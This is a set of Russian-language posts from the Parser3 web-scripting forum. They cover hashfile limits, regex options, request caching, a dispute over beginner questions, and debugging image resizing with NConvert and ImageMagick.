Клиенту лучше выдать идентификатор, к которому привязать нужные данные.\
Данные хранить на сервере."
"82994","1. http://www.parser.ru/forum/?id=32233\
\
2. \
hf_build.html\
[code]\
@main[]\
$hf[^hashfile::open[/../temp/hf]]\
^for[i](0;9999){^for[j](0;99){$hf.[$i=$j][^math:uuid[]]}}\
done.\
[/code]\
\
hf_check.html\
[code]\
$hf[^hashfile::open[/../temp/hf]]\
^for[i](0;9999){^for[j](0;1){$k[$i=^eval($j*99)]$k - $hf.[$k]<br>}}\
[/code]\
\
т.е 1M мелких записей (uuid + короткий ключ) -- легко (файл ~0.5GB)\
10M -- упёрся в ограничение 2GB на файл (win32). понятно, что при больших записях (можно до 8K на запись) в размер упрёмся раньше, только я не стал вникать с чем связано это ограничение, с io api или внутренними структурами, но как минимум несложно проверить на 64-bit *nix."
"82997","пользователь что-то ввел в textarea. задача (насколько я понимаю) -- временно похранить это между сессиями, чтобы потом просто дать возможность поредактировать. зачем тут какие-то подписи? чтобы пользователь сам себя не взломал?\
\
с другой стороны и на сервер это гонять не нужно, всё стоит делать на клиенте с помощью js (localstorage, sessionstorage, cookies)"
"82998","...\"филькина грамота\" для меня исходники на C++ тем более не уверен, что и смотрел где надо, хорошо, раз так, как вы описали."
"83000","Здравствуйте.\
Я создал файл. хочу чтобы из него читалась строка html,\
с разными тегами, типа h1..h3, <b></b>, <color></color>,\
и так далее. Как это сделать? Выводится как текст,\
а символы html не воспринимаются.\
Если можно, небольшой пример?\
Спасибо.\
мой e-mail: it.les@mail.ru"
"83001","Почитайте [url=http://www.parser.ru/docs/lang/lesson1.htm]уроки[/url], там всё доходчиво разъяснено."
"83002","Помимо ссылок, странно себя ведёт форма логина: она самопроизвольно закрывается, не давая даже логин из трёх букв закончить.\
Открываешь повторно, начинаешь вводить пароль — она снова закрывается.\
\
Плюс, едет вёрстка — кнопка войти наезжает на поля, перекрывая их.\
\
[url=https://dl.dropboxusercontent.com/u/6795309/img/bugs/parser-ru-win7.wmv]Процесс заполнения формы[/url] (ни разу не сделано клика для осознанного закрытия формы, она закрывается сама либо через несколько секунд бездействия, либо при удалении в полях, либо при смене фокуса) (Win7x64, Chrome).\
\
[url=https://dl.dropboxusercontent.com/u/6795309/img/bugs/parser-ru-ios.jpg]Скриншот формы в iOS 6[/url] (Chrome)."
"83003","Я выводить текст из файла научился. Проблема не в этом,\
а в том что я хочу создать красивый текст и форматировать\
его не программе, а чтобы он был подготовлен и \
сформатирован с помощью html кода заранее, т.е.\
в файле не просто текст, а html-код,\
и я хочу чтобы при выводе html код исполнялся,\
а он выводится просто как текст\
как сделать так чтобы при выводе в браузере\
html код читаемый из файла выводился корректно."
"83005","Дык (?:...(?<digits>\\d+))+ ничем не отличается от (?:...(\\d+))+\
Какая разница называем мы группу или нет, если у нас все равно нет возможности \"генерировать\" новые группы: (\\d)+ на строку 123 даст одну группу, а не три"
"83006","Есть сайт (форум).\
\
В куке пользователя лежит замысловатый код.\
\
Замысловатый код также лежит в базе пользователей. Это идентификатор.\
\
Во многих разных случаях мне нужна из базы ещё одна цифирь. Тогда я лезу в базу, ищу там замысловатый код и беру цифирь.\
\
Вопрос: [b]можно ли эту операцию прописать в @auto[], получив при загрузке нужные переменные/строки и держа их наготове?[/b]\
\
Что произойдёт в таком случае, если пользователь отвлечётся на недельку с открытой вкладкой, а потом вернётся?\
\
Что произойдёт, если он через контрл нащёлкает новых страниц, а потом снова откроет эту и захочет продолжить?\
\
Или всё-таки обязательно лазить в базу каждый раз, по каждой потребности?\
\
________________\
\
Плодить куки не предлагать - не хочу открывать в куках то, в чём можно увидеть взаимосвязи."
"83007","[quote]Вопрос: можно ли эту операцию прописать в @auto[], получив при загрузке нужные переменные/строки и держа их наготове?\
[/quote]\
Можно где угодно, с помощью кэширования\
[quote]Что произойдёт в таком случае, если пользователь отвлечётся на недельку с открытой вкладкой, а потом вернётся?\
[/quote]\
Неделю ничего не будет происходить, вернется - будет новый запрос\
[quote]Что произойдёт, если он через контрл нащёлкает новых страниц, а потом снова откроет эту и захочет продолжить?\
[/quote]\
Будет несколько новых запросов к серверу, потом будет еще один\
[quote]Или всё-таки обязательно лазить в базу каждый раз, по каждой потребности?[/quote]\
В базу можно не лазить, а лазить в кэш (кэш тоже БД по сути, только побыстрее)\
\
Физическая сессия - пользователь послал запрос на сервер, сервер (вызвав обработчик запроса, в данном случае парсер) сгенерировал ответ и отправил клиенту. На этом сессия закончена. Новый запрос - новая сессия.\
\
Василий, ваши сообщения без конкретного кода в стиле я вот попробовал это и это, у меня не получается то-то и то-то - будут удаляться без ответов. Особенно такие как эти, которые к парсеру вообще отношения не имеют, а являются чисто архитектурными, я считаю что вам надо почитать какую нибудь книгу а-ля \"как сделать свой сайт для чайника\""
"83011","[b]PHP — это язык программирования, требующий соответствующей подготовки. [i]Parser же[/i] простыми средствами решает сложные задачи, что позволяет [i]простым смертным[/i] создавать и поддерживать сложные динамические сайты без больших затрат времени.[/b]\
(с) http://www.parser.ru/\
\
У меня была возможность убедиться, что люди, владеющие, скажем, php после кучи лет существования парсера его так и не жалуют. Кто-то вообще впервые от меня узнаёт о его существовании в природе (искал программиста), кто-то называет его \"экзотическим движком\" (привет, хостер). Так что всем занимаюсь я, но не будь я, в вашей мягкой терминологии, \"чайником\", меня бы тут и не было.\
\
Возможно, всем на радость, но тогда перепишите \"морду\" и давайте не тратить друг другу жизни. Если бы там не было написано то, что там написано, я бы мимо и прошел семь или сколько там лет назад.\
__________\
\
Что касается цитат кода. Окей, но если сама формулировка вопроса не требует кода и вообще [b]не про кодинг, а про принципы работы парсера[/b] (опять же, иногда специфичные и труднопредсказуемые), зачем? (Как-то я спросил, например, что лучше: писать парсерный код внутри одного коннекта или последовательно открывать-закрывать коннекты всякий раз, когда нужны. Узнал от G_Z, что \"Соединения с одинаковой строкой подключения, кроме вложенных, кэшируются. Делайте, как удобно, разницы в производительности не будет\". Отлично, я обогатился новым знанием... а откуда я должен был это знать заранее? Или недавний вопрос про вдруг возникающую \"оптимизацию\" пробелов-переносов, скажем: при чём тут код?)\
\
В этом треде я спросил, можно ли, получив в @auto[] стринг или переменную, использовать их [b]в будущем,[/b] если между этими событиями произойдут другие или просто пройдёт время. Ответ прост: читай книжки с картинками, мудило, это не относится к парсеру. Замечательно, но тогда зачем мне парсер, не лучше ль было потратить время на php.\
[code]@auto[]\
^if(def $cookie:somecookie){\
^connect[mysql://login:pass@localhost/base?charset=cp1251]{\
[b]$id[/b](^string:sql{SELECT `id` FROM `users` WHERE `somecolumn` LIKE '${cookie:somecookie}'})\
}\
}\
\
@content[]\
<form>\
<input type=\"text\" name=\"lastname\">\
<input type=\"submit\" name=\"change\">\
</form>\
^if(def $form:change){^if(def $form:lastname){\
^connect[mysql://login:pass@localhost/base?charset=cp1251]{\
^void:sql{UPDATE `users` SET `lastname` = '$form:lastname' WHERE `id` = [b]$id[/b]^;}\
}\
}}[/code]\
\
Что изменилось? Я мог бы писать код в каждом посте и слушать не относящееся к сути вопроса \"бгг, это не код, а говно\" ([url=\"http://www.parser.ru/forum/?id=82843\"]см[/url].), окей, без проблем, но прямые оскорбления (\"чайник\" - ну, естественно, ё, кого ж ещё вы тут ожидали) и угрозы (ща в чс кину, ага) - это уже немножко совсем перебор :). Ребят, перепишите морду, напишите выходные данные книжек \"интернет для дебилов\", которые вы считаете нужными :), в начало \"уроков\" - и готово, обсуждаете то, что интересно [b]вам[/b], и так, как [b]вам,[/b] людям с большой красной буквой М, интересно.\
\
Just wondering: вас кто-то принуждает к участию в обсуждениях неинтересного вам уровня, что ли?"
"83012","Ваш вопрос был не про парсер. Ваш вопрос говорит о том, что вы не знаете базовых вещей веб-программирования. В частности не знаете как работает HTTP-протокол. Вам в данном случае парсер совершенно незачем, [b]на PHP у вас возник бы точно такой же вопрос[/b] - и на любом php-форуме вас послали бы читать книжки, чтобы хотя бы примерно быть в теме того, о чем вы спрашиваете. Парсер не научит вас работать с БД, не объяснит как работает HTTP-протокол и еще много интересных вещей. Начиная программировать на любом языке предполагается, что некоторая базовая подготовка у программиста имеется. А если нет - ее надо получить, на каком бы языке вы программировать не собрались.\
\
Парсер действительно позволяет простыми средствами решать сложные задачи и даже очень сложные. Но он не избавляет от прочтения хотя бы поверхностно документации, в которой написано много чего, есть вполне себе продуманные уроки. Если вы считаете что она, документация, несовершенна (про кэшированние connect например написано в совершенно логичном месте - http://www.parser.ru/docs/lang/?opconnect.htm, что говорит о том, что вы читать сами и не пытались) - дайте рекомендации, напишите в самой доке в каментах, проект то открытый. Но почему каждый изучающий считает нужным ничего не читать, ничего не знать и даже, зачастую, не пробовать - я лично понять не могу.\
\
На чайника вы зря обижаетесь - это общеизвестная серия книг \"для чайников\" - http://www.labirint.ru/series/16218/. Не думаю что их издателей осеняла мысль оскорбить чьи то чувства. Так же как и я не намеревался совершенно. \
\
[quote]Замечательно, но тогда зачем мне парсер, не лучше ль было потратить время на php[/quote]\
Вы так пишете, как будто вас кто-то уговаривает. Потратьте на php - там будет всё тоже самое. Или на python, вам же выбирать самому."
"83014","Задача: найти блоки, начинающиеся с заданного символа.\
Есть опция «m», которая влияет на поиск начала и конца строки (при влияние на начало строки в документации, кстати, ни слова).\
\
Пробуем:\
[code]@main[]\
$text[^@method1[]\
body\
\
^@method2[]\
body\
]\
<pre>^json:string[^text.match[^^@(.+);gm];$.indent(true)]</pre>[/code]\
\
Получаем:\
[code][\
	{\"prematch\":\"\",\"match\":\"\",\"postmatch\":\"\",\"1\":\"method1[]\"},\
	{\"prematch\":\"\",\"match\":\"\",\"postmatch\":\"\",\"1\":\"method2[]\"}\
][/code]\
\
Точка перестала совпадать с символом новой строки.\
\
Убираем опцию «m»: корректно находим тело метода, но, понятно, лишаемся привязки к началу любой строки:\
[code]@main[]\
$text[\
\
^@method1[]\
body\
\
^@method2[]\
body\
]\
<pre>^json:string[^text.match[^^@(.+);g];$.indent(true)]</pre>[/code]\
\
[code][\
	{\"prematch\":\"\",\"match\":\"\",\"postmatch\":\"\",\"1\":\"method1[]\\nbody\\n\\n@method2[]\\nbody\\n\"}\
][/code]\
\
Опция «m» отключает dot_all-режим?\
\
P. S. В документации [url=http://www.parser.ru/docs/lang/app4.htm]до сих пор написано[/url][quote]Этот метасимвол, совпадает с любым символом кроме символа новой строки по умолчанию.[/quote], что не соответствует истине — по умолчанию точка совпадает в том числе с символом новой строки."
"83015","поковырялся вчера. получить соответствия name - num -- просто.\
самая большая проблема -- засунуть результаты в $match (это у нас table). сейчас она создаётся по шаблону, вначале идут pre/post, а потом столбцы с числами.\
и вот эти именованные группы надо как-то засовывать между ними. очень некрасиво получается."
"83017","[quote]и вот эти именованные группы надо как-то засовывать между ними. очень некрасиво получается.[/quote]\
\
А зачем между?\
Добавлять до или после.\
\
Структура таблицы ни на что не влияет."
"83019","С утилитами-конфигами разобрался, происходит вот какой спотык. У меня есть база пользователей. У каждого id, у многих есть фотка /imgs/temp/${id}.jpg. Я хочу пройтись по базе и скорректировать размер картинок. Это потом, сейчас я на этапе просто получения их размеров для дальнейшей арифметики и сохранения.\
\
Пишу метод под это дело.\
[code]@fiximgs[]\
^use[NConvert.p]\
$oImg[^NConvert::create[\
	$.sScriptPath[/fuckinscripts]\
	$.sScriptName[NConvert-linux64]\
]]\
\
^connect[mysql://login:pass@localhost/base?charset=cp1251]{\
$fiximgs[^table::sql{SELECT * FROM `users`}]\
}\
^fiximgs.menu{\
^if(-f \"/imgs/temp/${fiximgs.id}.jpg\"){\
$originalimg[^file::load[binary;http://domain.ru/imgs/temp/${fiximgs.id}.jpg]]\
$imgageinfo[^oImg.info[[b]$originalimg[/b]]]\
	$wwwww($imgageinfo.iWidth)\
	$hhhhh($imgageinfo.iHeight)\
$wwwww на $hhhhh^; \
}}[/code]\
\
[i]Получаю: [...] блабла/Img.p(310:10): [b]'sFileSrc' is 'file'[/b], it has no string representation [parser.runtime] [uri=/all/, method=GET, cl=0].[/i]\
\
Ошибка показывает на среднюю строку вот здесь (по Sublimr):\
[code]@_checkInputFile[sAction;sFileSrc]\
^if(!def $sFileSrc){^throw[$sClassName;$sAction;Source image MUST be specified]}\
^if(!-f $sFileSrc){^throw[$sClassName;$sAction;Image '$sFileSrc' not found]}\
$result[]\
#end @_checkInputFile[/code]\
\
Хм. С трудом понимаю, что от меня хотят, прописываю в своём коде ^oImg.info[[b]адрес картинки вместо объекта \"файл\"[/b]]. Получаю:  [i]/блабла/Img.p(310:21): 'info' [b]Image 'http://домен/imgs/temp/1.jpg' not found [Img][/b] [uri=/all/, method=GET, cl=0][/i], хотя простым копипастом адреса файл есть, конечно.\
\
\"Файл - не стринг\", но и \"стринг - не файл\"... Чего от меня хотят?"
"83020","[code]$path[/imgs/temp/${fiximgs.id}.jpg]\
\
^if(-f $path){\
	$img[^image::measure[$path]]\
\
	$img.width\
	$img.height\
}[/code]"
"83022","насколько я понимаю, общая концепция работы ключей соответствует оным в perl.\
там при указании /s также включается DOT_ALL, а при /m -- DOT_ALL выключается и включается MULTILINE."
"83023","в дополнение, не помешает еще в ^try{} обернуть:\
[code]\
^try{\
	$img[^image::measure[$path]]\
\
	$img.width\
	$img.height\
}{\
	$exception.handled(1)\
}[/code]\
\
т.к. картинка не всегда бывает корректно читаемой"
"83024","Так-то оно так, но утилита при любой попытке её всё-таки применить, в чём и конечная цель состоит, ругается. Не получается использовать [b]её,[/b] а это надо.\
\
При вариациях того кода получал\
\
[b]'info' Unknown image format '/imgs/temp/1.jpg'[/b]\
\
Хотя формат как формат. Сейчас полный код фрагмента выглядит так:\
\
[code]^use[NConvert.p]\
$oImg[^NConvert::create[\
	$.sScriptPath[/fuckinscripts]\
	$.sScriptName[NConvert-linux64]\
]]\
^connect[mysql://l:p@localhost/b?charset=cp1251]{\
$fiximgs[^table::sql{SELECT * FROM `users`}]\
}\
^fiximgs.menu{\
$originalpath[/imgs/temp/${fiximgs.id}.jpg]\
$goalpathconvert[/imgs/new/${fiximgs.id}.jpg]\
^if(-f $originalpath){\
$originalimg[^file::load[binary;$originalpath]]\
$origconvert[ \
    $.bRemoveMeta[1] \
    $.iQuality[12] \
    $.iColors[256] \
]\
[b]^oImg.convert[$originalpath;$goalpathconvert;jpeg;$origconvert][/b]\
#$imageinfo[^oImg.info[$originalpath]]\
#	$wwwww($imageinfo.iWidth)\
#	$hhhhh($imageinfo.iHeight)\
#$dimensions[^image::measure[$originalpath]]\
#$wwwww($dimensions.width)\
#$hhhhh($dimensions.width)\
#<img src=\"http://domain.ru/imgs/temp/${fiximgs.id}.jpg\" style=\"width: 20pt^; height: auto^; display: inline-block^;\"> &mdash^; $wwwww на $hhhhh^;\
#^oImg.resize[$sFileSrc;$sFileDest;$sWidth;$sHeight;$hParams]\
#${wwwww}x$hhhhh^;\
}}[/code]\
\
Код выдаёт в браузер цикл чисел 243 (хотя в нём никакой выдачи не прописано вообще) - это видимо, результат попытки обработки утилитой, опять же - не нравится картинка. Хотя картинки я даже через фотошоп прогнал :), чтобы исключить косяки с файлами. Картинки как картинки, 100%;.\
\
[b]Что может быть не так, куда посмотреть?[/b]\
\
По рекомендациям из ссылке в треде, механизмы брал с http://www.kulikoff.net/parser3/img/."
"83025","Попрекать меня уроками вообще смешно - разумеется, я с них и начинал; страшно вспомнить, сколько ремени прошло и сайтов* сделано за отчетный период. А перед вопросами сюда я трачу миллиард времени, сил и нейронов на попытки решить-изучить-разобраться самостоятельно.\
\
Ещё раз: понимаете, если человек всё изучил [b]до[/b] парсера, он ему, в общем-то, и не нужен. Я же, изначально прочитав морду, решил идти этим путём, самописанием на парсере, а не CMS-ками, скажем, чтобы делать всё, что мне нужно, и не тратить железа на то, что мне не нужно, но в CMS вшито. А дальше - [b]*-в порядке поступления:[/b] понадобилось - изучил. [b]Не[/b] наоборот. Вы же предлагаете знать всё [b]до[/b] парсера.\
\
Ваши претензии были бы разумны, [i]если б[/i] я когда-либо три раза одно и то же спрашивал. Помучился с яндекс.кассой месяц назад - готово: с http-запросами и прочими XML-ответами проблем не будет, изучено. Мучаюсь с картинками вон выше - изучено подключение сторонних утилит (пока на 90% - на данный момент использование что-то не проходит) и боковых .p-файлов (раньше в них тупо потребности никогда не возникало, 5000 строк в единственном корневом auto.p - и ок); домучаюсь - осознаю.\
\
А огласите весь список? Из имеющегося:\
- регулярки (изучаю)\
- HTTP (done)\
- MySQL (отодвинут)\
\
Мускул мне вообще нафиг не сдался (владею им базово - отдай то, поправь сё, - хотя и не знаю про count и считаю строки перебором в парсере, [b]ну и что);[/b] может, другим надо хотя бы так. Что ещё нужно?\
\
И, может, есть смысл такой чёткий список, когда допишем, в самое начало html-доки занести?\
\
_______________________\
\
Ещё из разряда предложений. Очень не хватает единого поиска по сайту: чтобы найти что-нибудь реально нужное, надо, де-факто, искать раз восемь. Доки поиск, html-доки Ctrl+F, фак, примеры, форум... в итоге, короче, гугл site:parser.ru.\
\
По поиску на форуме будет лучше, если сначала искать по заголовкам сообщений, а уже следующей таблицей - по телам; а то смотришь на длинный список бессмысленных заголовков и не понимаешь, в каком контексте там использован ключ и зачем."
"83026","[quote]Код выдаёт в браузер цикл чисел 243[/quote]\
\
Это ошибочный код возврата, должен быть 0.\
Смотрите что возвращает NConvert в stderr.\
\
Либо файл не найден, либо проблемы с форматом.\
\
Стоит создать отдельный файл, отладить там работу с NConvert и потом уже переносить в сложный код.\
\
Использовать NConvertдля получения размеров большого количества файлов более ресурсоёмко, чем image::measure: NConvert будет выполняться для каждого файла."
"83027","Я вам не предлагал изучить [b]всё[/b], я вам предложил купить какую нибудь книжку по основам веб-программирования и почитать, не хотите - ваше право. Просто когда вы хотите приготовить омлет с помощью прекрасной сковородки - не стоит спрашивать как включить плиту.\
\
На этом предлагаю этот оффтоп закончить, основную мысль я вам сказал в самом начале - здесь принято пробовать писать код, когда не получается - приходить за помощью (и всегда помогают). Не потому что нам так интересно, а потому что это форум по парсеру, а не по веб-технологиям в принципе.\
\
По поиску согласен - было бы неплохо единый поисковый механизм по всему (дока, сайт, форум). Это наверно в Мише предложение"
"83028","Дело не в конверте - заменил его на imagemagick, без изменений.\
Дело не в файлах - заменил подгруженные пользователями на пересохранённые фотошопом.\
\
На сейчас имею Unhandled в двух странных вариантах:\
\
При отдаче утилите относительного пути к файлу - /Img.p(76:10): 'info' [b]Unknown image format[/b] '/imgs/temp/1.jpg' [Img] [uri=/debug2.html, method=GET, cl=0]\
\
При отдаче абсолютного пути к файлу - /Img.p(310:21): 'info' Image 'https://club-p.ru/imgs/temp/1.jpg' [b]not found[/b] [Img] [uri=/debug2.html, method=GET, cl=0]\
\
Нагуглив http://www.parser.ru/forum/?id=79399 - такой же вопрос без ответов, - расставил по 777 не только скриптам, но и картинкам :). Без изменений.\
\
[b]Почему могут возникать ошибки?[/b] Ссылки оставляю рабочими - в существовании файлов и их нормальном формате можно убедиться (хотя советую поверить на слово), https на http менял, картинки руками подменял на ну точнейше адекватные, права им поставил зачем-то, чего только не делал. [b]Куда копать? :-((( [/b]\
\
[code]^use[ImageMagick.p]\
$oImg[^ImageMagick::create[\
	$.sScriptPath[/fuckinscripts]\
	$.sScriptName[ImageMagick-7.0.1-3.x86_64]\
]]\
\
^connect[mysql://l:p@localhost/b?charset=cp1251]{\
$fiximgs[^table::sql{SELECT * FROM `users`}]\
}\
\
^fiximgs.menu{\
$originalpath[https://club-p.ru/imgs/temp/${fiximgs.id}.jpg]\
$originalpathrelative[/imgs/temp/${fiximgs.id}.jpg]\
$goalpathconvert[/imgs/new/${fiximgs.id}.jpg]\
^if(-f \"$originalpathrelative\"){\
<br> <b>файл $originalpathrelative</b> найден,^;\
#$originalimg[^file::load[binary;$originalpathrelative]]\
$origconvert[ \
    $.bRemoveMeta[1] \
    $.iQuality[12] \
    $.iColors[256] \
]\
\
#^oImg.convert[$originalpathrelative;$goalpathconvert;jpeg;$origconvert]\
\
# вот здесь меняю относительный на абсолютный, что описано в начале поста\
$imageinfo[^oImg.info[$originalpath]]\
	$wwwww($imageinfo.iWidth)\
	$hhhhh($imageinfo.iHeight)\
\
#$dimensions[^image::measure[$originalpathrelative]]\
#$wwwww($dimensions.width)\
#$hhhhh($dimensions.height)\
\
$largeh(800)$largew(^math:round(800*$wwwww/$hhhhh))\
$smallh(130)$smallw(^math:round(130*$wwwww/$hhhhh))\
\
#<img src=\"http://club-p.ru/imgs/temp/${fiximgs.id}.jpg\" style=\"width: 20pt^; height: auto^; display: inline-block^;\"> &mdash^; $wwwww на $hhhhh^;\
#^oImg.resize[$sFileSrc;$sFileDest;$sWidth;$sHeight;$hParams]\
оригинал ${wwwww}x$hhhhh, большую привести к ${largew}x${largeh}, маленькую к ${smallw}x$smallh^;\
}}[/code]"
"83029","[quote]При отдаче утилите относительного пути к файлу - /Img.p(76:10): 'info' Unknown image format '/imgs/temp/1.jpg' [Img] [uri=/debug2.html, method=GET, cl=0]\
[/quote]\
\
Прямо говорит — неизвестный формат.\
Возьмите любое постороннее изображение и добейтесь работы на нём.\
\
Путь передавайте относительно document-root'а.\
\
[quote]При отдаче абсолютного пути к файлу - /Img.p(310:21): 'info' Image 'https://club-p.ru/imgs/temp/1.jpg' not found [Img] [uri=/debug2.html, method=GET, cl=0][/quote]\
\
Абсолютный путь — это путь от диска в win и от корня в nix.\
HTTP-протокол — это не абсолютный путь к изображению.\
Его можно получить, если сервер отдаёт и клиент умеет работать по HTTP, но это не ваш случай получения информации об изображении."
"83030","Оригинальный 1.jpg на сайте вручную подменён картинкой только-что-из-википедии. No way.\
\
/Img.p(76:10): 'info' Unknown image format '/imgs/temp/1.jpg' [Img]"
"83031","Независимо от выбора утилиты [b](пробовал на обеих).[/b]\
[code]^use[ImageMagick.p]\
$oImg[^ImageMagick::create[\
	$.sScriptPath[/fuckinscripts]\
	$.sScriptName[ImageMagick-7.0.1-3.x86_64]\
]]\
\
^connect[mysql://l:p@localhost/b?charset=cp1251]{\
$fiximgs[^table::sql{SELECT * FROM `users`}]\
}\
\
^fiximgs.menu{\
$originalpath[https://club-p.ru/imgs/temp/${fiximgs.id}.jpg]\
$originalpathrelative[/imgs/temp/${fiximgs.id}.jpg]\
$goalpathlarge[/imgs/large/${fiximgs.id}.jpg]\
$goalpathsmall[/imgs/small/${fiximgs.id}.jpg]\
^if(-f \"$originalpathrelative\"){\
<br> <b>файл $originalpathrelative</b> найден,^;\
\
$dimensions[^image::measure[$originalpathrelative]]\
$wwwww($dimensions.width)\
$hhhhh($dimensions.height)\
$largeh(800)$largew(^math:round(800*$wwwww/$hhhhh))\
$smallh(130)$smallw(^math:round(130*$wwwww/$hhhhh))\
\
оригинал ${wwwww}x$hhhhh, большую привести к ${largew}x${largeh}, маленькую к ${smallw}x$smallh^;\
\
$hParams[\
	$.bKeepRatio[0]\
#	$.sResizeType	- тип изменения размера \
#		incr	: только увеличение\
#		decr	: только уменьшение\
	$.bRemoveMeta[1]\
	$.sFormat[jpeg]\
	$.iQuality[12]\
	$.iColors[256]\
]\
^oImg.resize[$originalpathrelative;$goalpathlarge;$largew;$largeh;$hParams]\
^oImg.resize[$originalpathrelative;$goalpathsmall;$smallw;$smallh;$hParams]\
}}[/code]\
\
[b]В браузере:[/b]\
файл /imgs/temp/1.jpg найден,; оригинал 2592x1952, большую привести к 1062x800, маленькую к 173x130; [b]248 248[/b] \
файл /imgs/temp/14.jpg найден,; оригинал 810x1080, большую привести к 600x800, маленькую к 98x130; [b]248 248[/b] \
файл /imgs/temp/21.jpg найден,; оригинал 336x426, большую привести к 631x800, маленькую к 103x130; [b]248 248[/b] \
файл /imgs/temp/23.jpg найден,; оригинал 807x538, большую привести к 1200x800, маленькую к 195x130; [b]248 248[/b] \
файл /imgs/temp/35.jpg найден,; оригинал 720x1280, большую привести к 450x800, маленькую к 73x130; [b]248 248[/b]\
файл /imgs/temp/39.jpg найден,; оригинал 4096x3072, большую привести к 1067x800, маленькую к 173x130; [b]248 248 [/b]\
файл /imgs/temp/41.jpg найден,; оригинал 2165x2545, большую привести к 681x800, маленькую к 111x130; [b]248 248[/b]\
\
В совокупе с предыдущим получаем, что проблема [b]не[/b] в утилите (использованы обе), [b]не[/b] в картинках, а где-то на стыке парсера и утилиты, на моменте передачи [b]ей[/b] инфы. Или как иначе объяснить 248 при попытке рисайза утилитой (любой из двух) и Unhandled при попытке получения свойств изображения ею же, что просто две разные её функции?"
"83032","только для того чтобы не плодить лишние переменные.\
\
Например: пришел $form:phone его нужно причесать, выкинуть все лишнее.\
\
Сейчас прежде чем записать в базу:\
[code]$phone[^form:phone.match[\\D][g]{}][/code]\
\
А могло бы быть:\
[code]$form:phone[^form:phone.match[\\D][g]{}][/code]\
\
И вот и нет лишней переменной. Когда полей десятки это актуально."
"83033","В случае info в классе есть обработка ошибки в img.p:\
[code]^if(!$result.hRaw){\
	^throw[$sClassName;info;Unknown image format '$sFileSrc']\
}[/code]\
, которую вы и видите\
В случае resize - возрат кода ошибки не обрабатывается. 248 - это ненормально. В случае info вы просто не видите кода возврата\
\
В целом утилита не работает.\
1. Возьмите любую картинку, положите ее в каталог с утилитой (советую все же остановится на одной, лучше nconvert, тем более в IM недавно критическую уязвимость нашли).\
2. Зайдите консолью на сервер и натравите утилиту напрямую на рядом лежащий файл, посмотрите результат. Для начала просто ее запустите в коносли - запустится ли вообще?\
\
Меня смущает ваш путь к скрипту - \
[code]$.sScriptPath[/fuckinscripts][/code]\
\
Это ваш реальный путь или вы реальный так спрятали? Если реальный, то почему ничего не работает понятно - вы скрипты положили в веб-пространство, а на большинстве хостингов запуск скриптов по умолчанию там запрещен. Положите скрипт туда, где у вас парсер лежит, в соседнюю папку. Обычно скрипты кладут в папку с названием cgi-bin, vcgi и пр., то есть путь должен быть примерно таким:\
[code]$.sScriptPath[/../cgi-bin/nconvert][/code]"
"83034","Если бы я решал подобную задачу, и столкнулся с некоторой не вполне понятной мне ошибкой, я бы разбил задачу на несколько этапов.\
Для начала, я бы проверил, может ли графическая утилита читать файлы в моем окружении, для этого бы воспользовался, например, oImg.info. Если метод не срабатывает, значит дело или в неправильных путях к картинкам, или в правах, которые установлены на утилиту, или правах на чтение исходной картинки, или в том что картинка или утилита повреждены. Далее я бы последовательно проверил и исключил каждый вышеперечисленный пункт.\
Если же oImg.info срабатывает, а ресайз - нет, значит дело в правах на запись результирующих изображений в конечную директорию или же в неправильном пути, переданном через sFileDest.\
Как-то так."
"83035","То что пытаюсь сделать из своей головы совершенно не работает, изучаю Ваш пример и есть некоторые вопросы.\
Напишите пожалуйста комментарии по поводу Вашего примера.\
[code]\
# $ctree[^closure_tree::create[\
# 	что передавать в nodes?\
# 	$.nodes_table[nodes]\
# 	что передавать в refs?\
# 	$.refs_table[refs]\
# 	$.node_fields[\
# 		чей id?\
# 		$.id[]\
# 		для чего нужен title?\
# 		$.title[]\
# 		для чего нужен slug?\
# 		$.slug[]\
# 		что передается в sort_order?\
# 		$.sort_order[]\
# 	]\
# 	$.sort_field[sort_order]\
# ]]\
# Выше произошло создание необходимого запроса, что происходит ниже?\
# ^connect[…]{\
# 	$tree[^ctree.select(1)]\
# }\
\
# Поля таблицы узлов.\
$self.node_fields[\
# 	что это за id?\
	$.id[id]\
]\
[/code]\
\
Везде присутствует options, что туда передается, какие опции?\
\
Чтобы генерировать списки своего вида, нужно создавать метод типа @_list?"
"83036","Положить ссылку на хеш полей формы в переменную и везде использовать её.\
Сколько бы ни было полей, усложнения не будет.\
\
[code]$myform[$form:fields]\
…\
$myform.phone[^myform.phone.match[…]]\
[/code]"
"83037","[quote]# $ctree[^closure_tree::create[\
# 	что передавать в nodes?\
# 	$.nodes_table[nodes]\
# 	что передавать в refs?\
# 	$.refs_table[refs]\
[/quote]\
\
Дерево обычно хранится в двух таблицах: узлы и связи.\
$.nodes_table — таблица узлов,\
$.refs_table — таблица связей.\
\
Указываете имена своих таблиц.\
\
[quote]\
# 	$.node_fields[\
# 		чей id?\
# 		$.id[]\
# 		для чего нужен title?\
# 		$.title[]\
# 		для чего нужен slug?\
# 		$.slug[]\
# 		что передается в sort_order?\
# 		$.sort_order[]\
# 	]\
# 	$.sort_field[sort_order]\
# ]]\
[/quote]\
\
Это набор полей таблицы узлов, которые необходимо извлекать.\
ID есть всегда, остальные — расширяемым списком.\
Если у узла есть текст и нужно его извлекать, нужно добавить:\
$.text[]\
\
[quote]# Выше произошло создание необходимого запроса, что происходит ниже?[/quote]\
\
Никаких запросов не создалось.\
Был создан объект по работе с деревом.\
Дальше можно звать его методы.\
\
[quote]\
# ^connect[…]{\
# 	$tree[^ctree.select(1)]\
# }[/quote]\
\
Выбирается поддерево с узла с id = 1.\
\
[quote]# Поля таблицы узлов.\
$self.node_fields[\
# 	что это за id?\
	$.id[id]\
][/quote]\
\
Уже объяснил.\
Это поле id в таблице узлов.\
\
[quote]Везде присутствует options, что туда передается, какие опции?[/quote]\
\
Разные опции, которые влияют на поведение метода.\
Какие именно — видно в коде.\
\
[quote]Чтобы генерировать списки своего вида, нужно создавать метод типа @_list?[/quote]\
\
Не понял вопроса."
"83038","Цитирую полностью ответ хостинг-провайдера\
\
_______\
\
Добрый день !\
У вас [b]не были созданы директории[/b] new smoll large \
Кроме того , похоже установленный вами nconvert не работал . \
Скачал nvconvert c http://download.cnet.com/NConvert-for-Linux-64-bit/3000-12511_4-75677783.html в папку cgi-bin/test/\
Поправил файл debug2.html в корне сайта . \
Скрипт работает ( картинки формируются ) но очень медленено , поэтому при обращении https://club-p.ru/debug2.html получаем 504 Gateway Time-out \
_______\
\
\
